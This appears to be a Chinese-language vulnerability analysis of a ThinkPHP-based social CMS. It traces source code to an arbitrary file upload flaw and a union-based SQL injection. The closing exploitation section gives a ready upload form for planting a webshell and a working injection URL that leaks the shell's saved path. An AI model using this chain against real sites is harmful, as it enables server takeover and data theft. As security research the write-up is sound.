漏洞分析

我们先看漏洞触发点:在/Application/Weibo/Controller/ShareController.class.php中第20行:

public function doSendShare(){
        $aContent = I('post.content','','text');
        $aQuery = I('post.query','','text');
        parse_str($aQuery,$feed_data);

        if(empty($aContent)){
            $this->error(L('_ERROR_CONTENT_CANNOT_EMPTY_'));
        }
        if(!is_login()){
            $this->error(L('_ERROR_SHARE_PLEASE_FIRST_LOGIN_'));
        }

        $new_id = send_weibo($aContent, 'share', $feed_data,$feed_data['from']);

        $user = query_user(array('nickname'), is_login());
        $info =  D('Weibo/Share')->getInfo($feed_data);

可以看到这里的$aContent和$aQuery都是我们POST进来的,是我们可控的,然后可以看到将$aQuery这个变量做了一个parse_str()操作。

parse_str($aQuery,$feed_data);

然后我们开始跟踪$feed_data这个变量。可以看到最后一行将$feed_data这个变量带入到了getInfo()这个函数中。我们追踪一下该函数:
在/Application/Weibo/Model/ShareModel.class.php中:

public function getInfo($param)
   {
       $info = array();
       if(!empty($param['app']) && !empty($param['model']) && !empty($param['method'])){
           $info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);
       }
       return $info;
   }

可以看到这里的形参$param就是我们传进来的$feed_data实参。

这里有一个操作很有意思:

$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);

其中$param['app']以及$param['model'],$param['method'],$param['id']都是我们可控的。
其中这个D()函数是thinkphp中的一个实例化类型的函数,我们追踪一下:
在/ThinkPHP/Common/functions.php中第616行:

function D($name = '', $layer = '')
{
    if (empty($name)) return new Think\Model;
    static $_model = array();
    $layer = $layer ? : C('DEFAULT_M_LAYER');
    if (isset($_model[$name . $layer]))
        return $_model[$name . $layer];
    $class = parse_res_name($name, $layer);
    if (class_exists($class)) {
        $model = new $class(basename($name));
    } elseif (false === strpos($name, '/')) {
        // 自动加载公共模块下面的模型
        if (!C('APP_USE_NAMESPACE')) {
            import('Common/' . $layer . '/' . $class);
        } else {
            $class = '\\Common\\' . $layer . '\\' . $name . $layer;
        }
        $model = class_exists($class) ? new $class($name) : new Think\Model($name);
    } else {
        \Think\Log::record('D方法实例化没找到模型类' . $class, Think\Log::NOTICE);
        $model = new Think\Model(basename($name));
    }
    $_model[$name . $layer] = $model;
    return $model;
}

这个函数有两个参数,但是我们只能控制第一个参数的值,也就是形参$name的值。
那么可以看到如果$layer为空的话,就取C('DEFAULT_M_LAYER')的值,那么这个值是多少呢?

在/ThinkPHP/Conf/convention.php中有:

DEFAULT_M_LAYER'       =>  'Model', // 默认的模型层名称

那么就是取默认的值,也就是Model。
那么意思就是说,我们只能实例化一个类名格式如xxxxxModel这样的类。
然后调用该类的哪一个方法也是我们可控的,就连方法的第一个参数也是我们可控的。

如上文所说

$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);

其中$param['method']就是我们要调用的方法名称,$param['id']就是该方法的第一个参数。

好了,大概意思就是我们能够一个实例化一个名称为xxxxxxModel的类,并调用它其中的一个任意一个public方法。

刚开始以为这能够造成一个任意代码执行啥的..结果找了很久发现并不能实例化到任意代码执行的那个类。所以又得重新找其它类。然后找来找去找到了在/Application/Home/Model/FileModel.class.php中的FileModel类。
这个类里面有一个文件上传函数:

public function upload($files, $setting, $driver = 'Local', $config = null){
                /* 上传文件 */
                $setting['callback'] = array($this, 'isFile');
                $Upload = new \Think\Upload($setting, $driver, $config);
                $info   = $Upload->upload($files);

                /* 设置文件保存位置 */
                $this->_auto[] = array('location', 'Ftp' === $driver ? 1 : 0, self::MODEL_INSERT);

                if($info){ //文件上传成功,记录文件信息
                        foreach ($info as $key => &$value) {
                                /* 已经存在文件记录 */
                                if(isset($value['id']) && is_numeric($value['id'])){
                                        continue;
                                }

                                /* 记录文件信息 */
                                if($this->create($value) && ($id = $this->add())){
                                        $value['id'] = $id;
                                } else {
                                        //TODO: 文件上传成功,但是记录文件信息失败,需记录日志
                                        unset($info[$key]);
                                }
                        }
                        return $info; //文件上传成功
                } else {
                        $this->error = $Upload->getError();
                        return false;
                }
        }

那么意思是我们就能够调用这个文件上传函数了,我们看一下这个文件上传函数:
其中上传文件驱动默认的是Local,也就是说一定是存储在本地的。
然后$config没有进行赋值,默认是null.
然后在第三行调用了upload()函数,我们追踪一下:

在/ThinkPHP/Library/Think/Upload.class.php中第128行:

public function upload($files = '')
    {
        if ('' === $files) {
            $files = $_FILES;
        }

        if (empty($files)) {
            $this->error = '没有上传的文件!';
            return false;
        }

        /* 检测上传根目录 */
        if (!$this->uploader->checkRootPath()) {
            $this->error = $this->uploader->getError();
            return false;
        }

        /* 检查上传目录 */
        if (!$this->uploader->checkSavePath($this->savePath)) {
            $this->error = $this->uploader->getError();
            return false;
        }

        /* 逐个检测并上传文件 */
        $info = array();
        if (function_exists('finfo_open')) {
            $finfo = finfo_open(FILEINFO_MIME_TYPE);
        }
        // 对上传文件数组信息处理
        $files = $this->dealFiles($files);

        foreach ($files as $key => $file) {
            if (!isset($file['key'])) $file['key'] = $key;
            /* 通过扩展获取文件类型,可解决FLASH上传$FILES数组返回文件类型错误的问题 */
            if (isset($finfo)) {
                $file['type'] = finfo_file($finfo, $file['tmp_name']);
            }

            /* 获取上传文件后缀,允许上传无后缀文件 */
            $file['ext'] = pathinfo($file['name'], PATHINFO_EXTENSION);

            /* 文件上传检测 */
            if (!$this->check($file)) {
                continue;
            }

            /* 获取文件hash */
            if ($this->hash) {
                $file['md5'] = md5_file($file['tmp_name']);
                $file['sha1'] = sha1_file($file['tmp_name']);
            }

            /* 调用回调函数检测文件是否存在 */
            $data = call_user_func($this->callback, $file);


            if ($this->callback && $data) {
                $drconfig = $this->driverConfig;
                $fname = str_replace('http://' . $drconfig['domain'] . '/', '', $data['url']);

                if (file_exists('.' . $data['path'])) {
                    $info[$key] = $data;
                    continue;
                } elseif ($this->uploader->info($fname)) {
                    $info[$key] = $data;
                    continue;
                } elseif ($this->removeTrash) {
                    call_user_func($this->removeTrash, $data); //删除垃圾据
                }
            }

            /* 生成保存文件名 */
            $savename = $this->getSaveName($file);
            if (false == $savename) {
                continue;
            } else {
                $file['savename'] = $savename;
                //$file['name'] = $savename;
            }

            /* 检测并创建子目录 */
            $subpath = $this->getSubPath($file['name']);
            if (false === $subpath) {
                continue;
            } else {
                $file['savepath'] = $this->savePath . $subpath;
            }

            /* 对图像文件进行严格检测 */
            $ext = strtolower($file['ext']);
            if (in_array($ext, array('gif', 'jpg', 'jpeg', 'bmp', 'png', 'swf'))) {
                $imginfo = getimagesize($file['tmp_name']);
                if (empty($imginfo) || ($ext == 'gif' && empty($imginfo['bits']))) {
                    $this->error = '非法图像文件!';
                    continue;
                }
            }

            $file['rootPath'] = $this->config['rootPath'];
            $name = get_addon_class($this->driver);
            if (class_exists($name)) {
                $class = new $name();
                if (method_exists($class, 'uploadDealFile')) {
                    $class->uploadDealFile($file);
                }
            }

            /* 保存文件 并记录保存成功的文件 */
            if ($this->uploader->save($file, $this->replace)) {
                unset($file['error'], $file['tmp_name']);
                $info[$key] = $file;
            } else {
                $this->error = $this->uploader->getError();
            }
        }
        if (isset($finfo)) {
            finfo_close($finfo);
        }

        return empty($info) ? false : $info;
    }
这就是thinkphp内置的upload()函数了,我们主要看一下以下几点:
        if ('' === $files) {
            $files = $_FILES;
        }

如果$files是空的话,它会默认检查整个$_FILES数组,意味着不需要我们设定特定上传文件表单名。

然后重点就是对于后缀检测的这里:

/* 文件上传检测 */
            if (!$this->check($file)) {
                continue;
            }
调用了check()函数,我们追踪一下:
在该文件的294行:
 private function check($file)
    {
        /* 文件上传失败,捕获错误代码 */
        if ($file['error']) {
            $this->error($file['error']);
            return false;
        }

        /* 无效上传 */
        if (empty($file['name'])) {
            $this->error = '未知上传错误!';
        }

        /* 检查是否合法上传 */
        if (!is_uploaded_file($file['tmp_name'])) {
            $this->error = '非法上传文件!';
            return false;
        }

        /* 检查文件大小 */
        if (!$this->checkSize($file['size'])) {
            $this->error = '上传文件大小不符!';
            return false;
        }

        /* 检查文件Mime类型 */
        //TODO:FLASH上传的文件获取到的mime类型都为application/octet-stream
        if (!$this->checkMime($file['type'])) {
            $this->error = '上传文件MIME类型不允许!';
            return false;
        }

        /* 检查文件后缀 */
        if (!$this->checkExt($file['ext'])) {
            $this->error = '上传文件后缀不允许';
            return false;
        }

        /* 通过检测 */
        return true;
    }

首先看一下mimel类型的检测,调用了checkmime()函数,我们追踪一下:

在该文件的380行:

private function checkMime($mime)
    {
        return empty($this->config['mimes']) ? true : in_array(strtolower($mime), $this->mimes);
    }
可以看到如果$this->config['mimes']为空的话,就直接返回true了。通过上文可以知道,$config没赋值的话就是为默认的的,
而默认的$config是:
   private $config = array(
        'mimes' => array(), //允许上传的文件MiMe类型
        'maxSize' => 0, //上传的文件大小限制 (0-不做限制)
        'exts' => array(), //允许上传的文件后缀
        'autoSub' => true, //自动子目录保存文件
        'subName' => array('date', 'Y-m-d'), //子目录创建方式,[0]-函数名,[1]-参数,多个参数使用数组
        'rootPath' => './Uploads/', //保存根路径
        'savePath' => '', //保存路径
        'saveName' => array('uniqid', ''), //上传文件命名规则,[0]-函数名,[1]-参数,多个参数使用数组
        'saveExt' => '', //文件保存后缀,空则使用原后缀
        'replace' => false, //存在同名是否覆盖
        'hash' => true, //是否生成hash编码
        'callback' => false, //检测文件是否存在回调,如果存在返回文件信息数组
        'driver' => '', // 文件上传驱动
        'driverConfig' => array(), // 上传驱动配置
    );

所以这里肯定是返回true的,所以mime类型检测绕过了。
然后我们开始看后缀检测:
调用了一个checkExt()函数,我们追踪一下:

在389行:

private function checkExt($ext)
   {
       return empty($this->config['exts']) ? true : in_array(strtolower($ext), $this->exts);
   }

可以看到跟上面的一样,由于我们没有设定限定后缀,所以对于任意后缀的文件都是开放通行的,所以看到这里,就知道了,可以造成一个任意文件上传的漏洞。

但是这里有另外一个问题,就是我们并不知道上传上去的路径是多少,我们可以看一下这里对于上传后的文件名是怎么处理的:

$savename = $this->getSaveName($file);

调用了一个getSaveName()函数,我们追踪一下:

在第398行:

private function getSaveName($file)
    {
        $rule = $this->saveName;
        if (empty($rule)) { //保持文件名不变
            /* 解决pathinfo中文文件名BUG */
            $filename = substr(pathinfo("_{$file['name']}", PATHINFO_FILENAME), 1);
            $savename = $filename;
        } else {
            $savename = $this->getName($rule, $file['name']);
            if (empty($savename)) {
                $this->error = '文件命名规则错误!';
                return false;
            }
        }

我们看一下我们的$this->saveName为多少,在默认的$config中有定义:

'saveName' => array('uniqid', ''),

所以不为空,我们就没办法保证保持文件名不变了,肯定会被重命名的,
那么又调用了一个getName()函数,我们追踪一下:

在该文件的第444行:

private function getName($rule, $filename)
    {
        $name = '';
        if (is_array($rule)) { //数组规则
            $func = $rule[0];
            $param = (array)$rule[1];
            foreach ($param as &$value) {
                $value = str_replace('__FILE__', $filename, $value);
            }
            $name = call_user_func_array($func, $param);
        } elseif (is_string($rule)) { //字符串规则
            if (function_exists($rule)) {
                $name = call_user_func($rule);
            } else {
                $name = $rule;
            }
        }
        return $name;
    }

可以看到$name的赋值结果了..就是调用了uniqid()这个函数,而这个函数很不好处理:
uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
我的天,以微秒计的唯一ID,就算要爆破的话,都不好爆破。所以得另想办法。

我们回到FileModel类的upload函数再去看一看:

if($info){ //文件上传成功,记录文件信息
                        foreach ($info as $key => &$value) {
                                /* 已经存在文件记录 */
                                if(isset($value['id']) && is_numeric($value['id'])){
                                        continue;
                                }

                                /* 记录文件信息 */
                                if($this->create($value) && ($id = $this->add())){
                                        $value['id'] = $id;

可以发现,当我们上传完东西后,是会把我们上传的信息给记录下来的,而记录在哪里呢?没错,就是在数据库当中的ocenter_file表里面,我们可以去看一下:

可以看到我们上传的东西,这里都会有记录,包括文件保存的位置和保存的文件名,都有。
所以如果我们想知道上传后的位置和文件名,只需要我们能够从数据库中得到数据就可以了,那么怎么得到呢?
没错,就是通过注入!
注入倒是好挖,但是我们需要方便快捷一点,所以我们就需要一个能够回显的注入。

所以我又挖了一个这个cms的注入漏洞带回显的,在Application/Ucenter/Controller/IndexController.class.php中的information函数中:

public function information($uid = null)
    {
        //调用API获取基本信息
        //TODO tox 获取省市区数据
        $user = query_user(array('nickname', 'signature', 'email', 'mobile', 'rank_link', 'sex', 'pos_province', 'pos_city', 'pos_district', 'pos_community'), $uid);
可以看到把$uid带入到了query_user函数中,我们追踪一下该函数,在/Application/Common/Model/UserModel.class.php中:
function query_user($pFields = null, $uid = 0)
    {
        $user_data = array();//用户数据
        $fields = $this->getFields($pFields);//需要检索的字段
        $uid = (intval($uid) != 0 ? $uid : get_uid());//用户UID
        //获取缓存过的字段,尽可能在此处命中全部数据

        list($cacheResult, $fields) = $this->getCachedFields($fields, $uid);
        $user_data = $cacheResult;//用缓存初始用户数据
        //从数据库获取需要检索的数据,消耗较大,尽可能在此代码之前就命中全部数据
        list($user_data, $fields) = $this->getNeedQueryData($user_data, $fields, $uid);

这里有个细节很重要,就是看$uid重新赋值的时候:

$uid = (intval($uid) != 0 ? $uid : get_uid());//用户UID

它验证的是intval($uid)是否为0,但是取值的时候并没有intval,所以这个地方注入语句不会被过滤掉,然后我们跟进getNeddQueryData这个函数看看:

private function getNeedQueryData($user_data, $fields, $uid)
    {
        $need_query = array_intersect($this->table_fields, $fields);
        //如果有需要检索的数据
        if (!empty($need_query)) {
            $db_prefix=C('DB_PREFIX');
            $query_results = D('')->query('select ' . implode(',', $need_query) . " from `{$db_prefix}member`,`{$db_prefix}ucenter_member` where uid=id and uid={$uid} limit 1");
            $query_result = $query_results[0];
            $user_data = $this->combineUserData($user_data, $query_result);
            $fields = $this->popGotFields($fields, $need_query);
            $this->writeCache($uid, $query_result);
        }
        return array($user_data, $fields);
}

可以看到,直接给$uid拼接到sql语句中去了,所以造成了一个注入,并且这个注入是有回显的,非常方便。

利用方式:

在首先,我们注册一个前台用户并登录上去(这种sns系统肯定会提供前台注册啦)

然后我们开始构造上传表单:

<html>
<body>

<form action="http://localhost/index.php?s=/weibo/share/doSendShare.html" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file_img" id="file" /> 
<br />
<input type="text" name="content" value="123" id="1" />
<input type="text" name="query" id="2" value="app=Home&model=File&method=upload&id="/>
<input type="submit" name="submit" value="Submit" />
</form>

</body>
</html>

然后我们开始上传我们的webshell:

这里的两个框框里的数据都不要改,直接上传我们的shell就可以了:

然后我们点击上传,就可以成功上传了,但是上传后是不会有路径回显的,所以我们下一步,开始注入:

payload:

http://localhost/index.php?s=/ucenter/index/information/uid/23333%20union%20(select%201,2,concat(savepath,savename),4%20from%20ocenter_file%20where%20savename%20like%200x252e706870%20order%20by%20id%20desc%20limit%200,1)%23.html
就能得到我们shell的保存路径了,如图:

那么最终shell的路径就是:

http://localhost/Uploads/2017-01-20/5881ce0db9438.php

源链接

Hacking more

...